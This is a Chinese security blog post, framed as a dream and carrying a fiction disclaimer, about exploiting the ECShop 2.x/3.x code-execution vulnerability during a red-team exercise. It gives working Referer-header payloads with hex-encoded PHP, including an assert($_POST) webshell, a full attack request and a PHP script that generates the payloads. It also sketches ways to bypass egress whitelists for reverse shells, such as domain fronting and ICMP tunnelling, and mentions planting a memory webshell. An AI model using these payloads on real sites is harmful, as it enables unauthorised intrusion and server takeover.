查看原文
其他

记一次不小心拿下外网靶标的梦境

听风安全 2023-11-28

The following article is from 猫蛋儿安全 Author MDSEC

免责声明由于传播、利用本公众号听风安全所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号听风安全及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

公众号现在只对常读和星标的公众号才展示大图推送,

建议大家把听风安全设为星标,否则可能就看不到啦!

----------------------------------------------------------------------





梦境介绍

       风和日丽的一天,打工人猫蛋儿秉持着摸鱼才是挣钱的原则,寻找到公司仓库一个比较隐蔽的摸鱼坑位开始睡觉,Zzzzzz....*&@¥6¥#@!。

       喂,醒醒,我丢,你这个成绩,你这个分数,你睡得着觉?,猫蛋儿睁开迷蒙的双眼,突然发现自己居然在攻防现场参加一场竞争激烈的攻防演练,我,我,我不是刚才还在公司么?旁边的领导狗剩儿看到自己队伍0分的成绩说道,公司你大爷,在不打出来东西,明天就给我卷铺盖滚蛋。行吧,不打也不行了,为了保全饭碗打个成果就是了。




信息收集

       对其中一个目标开始先收集域名,在对利用指纹匹配工具对子域名进行匹配,寻找到了一个ECSHOP,打开内部漏洞库寻找到指定漏洞。




外网打点

1.ECShop 2.x/3.x 代码执行漏洞

       利用验证POC对其网站进行验证,验证成功。

       接下来开始直接利用,如公开的webshell写入POC获取权限。
webshell利用:这里就不写了,说实话网上公开的写入成功不了。

       执行过后发现写入失败,可能是POC问题吧,接下来在互联网上寻找能直接打的POC。

皆利用失败,github/互联网上看了不少Poc说没有写入权限就没法打
       寻找过后没有一个POC利用成功???,都能代码执行了,我还拿不到shell,咋可能啊。得,靠谁不如靠自己,自己拿webshell得了,查看了一下漏洞原理,生成了命令执行POC。
①.漏洞POC

2.x版本:

Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0928293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94ca

3.x版本:

Referer:45ea207d7a2b68c49582d2d22adf953aads|a:2:{s:3:"num";s:107:"*/SELECT 1,0x2d312720554e494f4e2f2a
②.攻击利用
攻击包如下:
GET /user.php HTTP/1.1Host: x.x.x.xSec-Ch-Ua: "Chromium";v="116", "Not)A;Brand";v="24", "Google Chrome";v="116"Sec-Ch-Ua-Mobile: ?0Sec-Ch-Ua-Platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer:554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:127:"*/SELECT 1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b6173736572742840245f504f53545b2761275d293b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";}554fcae493e564ee0dc75bdf2ebf94caSec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
抓包重发请求包,可以看到phpinfo()出现,成功复现。

POC生成脚本如下:

<?php$shell = bin2hex("{\$asd'];phpinfo\t();//}xxx");$id = "-1' UNION/*";$arr = ["num" => sprintf('*/SELECT 1,0x%s,2,4,5,6,7,8,0x%s,10-- -', bin2hex($id), $shell),"id" => $id];
$s = serialize($arr);
$hash3 = '45ea207d7a2b68c49582d2d22adf953a';$hash2 = '554fcae493e564ee0dc75bdf2ebf94ca';
echo "POC for ECShop 2.x: \n";echo "{$hash2}ads|{$s}{$hash2}";echo "\n\nPOC for ECShop 3.x: \n";echo "{$hash3}ads|{$s}{$hash3}";?>

2.目标环境问题

       通过命令执行发现环境存在以下问题:

1.目标主机的权限极低。2.没有写入web目录的权限。3.白名单限制,只可以对可信域名进行数据通信。4.出网环境,ICMP可以进行通信绕过网络限制。5.其他协议没有可信域名就没法出网。6.Linux amd64环境。7.disable_functions禁用函数比较少。
       到这里也就明白了为什么C2、反弹shell、webshell都没办法写入进去了,这里也就想到了几种解决方案。
1.利用代码执行进行webshell连接。2.通过域前置/劫持等操作进行白名单绕过反弹shell。3.通过ICMP代理直接进入内网(权限不一定够,不会的赶紧看猫蛋儿文章去)。4.利用PHP语言特性,修改PHP进行webshell权限获取(权限不够)

       猫蛋儿看到这里,那肯定选代码执行获取webshell,这漏洞的类型没法落地就没法落地呗。

3.外网突破

       这里我们可以将代码注入到user.php页面中,我们直接就写个eval类似的代码上去不就行了么(实际利用可能需要其他函数)。

       通过抓包验证多次,发现通信是没有问题的,但是数据包通信方式如果调整为默认,data返回为空,抓包查看报错。害,这种情况的处理方式很简单其实,换一个加密方式就可以了,接下来,直接配一下连接就行。

       最后,成功连接webshell。

4.案例总结

       其实像这种类似文件包含类型的代码执行,如果可以将代码注入到页面中,webshell的通信原理是完全满足正常的包含利用的,所以这种类型漏洞其实直接写个eval就能正常获取webshell而不是非得上传个webshell才行,当然这玩意是师傅们应该也都清楚知道,就不多展开进行叙述了,案例的打点流程为信息收集—>指纹匹配—>框架漏洞搜索—>直接利用。

5.进一步攻击

      猫蛋儿半个小时之内拿到了一个点位,哎,这个系统是一个站群啊,这个Nginx的配置,有一个靶标在这个主机上,快快快一起刷了这个内网。等等,刚才外网那个网站在访问URI的时候....,这个也可以打!看我打个内存马进去...;@#¥%……&*,猫蛋儿~猫蛋儿~,"猫蛋儿,下班了,你怎么还在睡觉啊?",啊,原来,原来都是一场梦啊。回家,回家打游戏了。就这样,猫蛋儿的一天就这样美好的结束了。

      文章所提及的所有案例背景以及攻击过程皆为虚构,攻击环境皆为演示环境,如有雷同纯属巧合。

不可错过的往期推荐哦


U盘植马之基于arduino的badusb实现及思考

记一次曲折的Getshell过程

大话软件供应链攻击

内网隧道技术,你知道几个?

某银行外网打点到内网核心区红队评估复盘

记对某Spring项目代码审计

APT是如何杜绝软件包被篡改的

SRC挖掘葵花宝典

点击下方名片,关注我们

觉得内容不错,就点下“”和“在看

如果不想错过新的内容推送可以设为星标
继续滑动看下一个

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存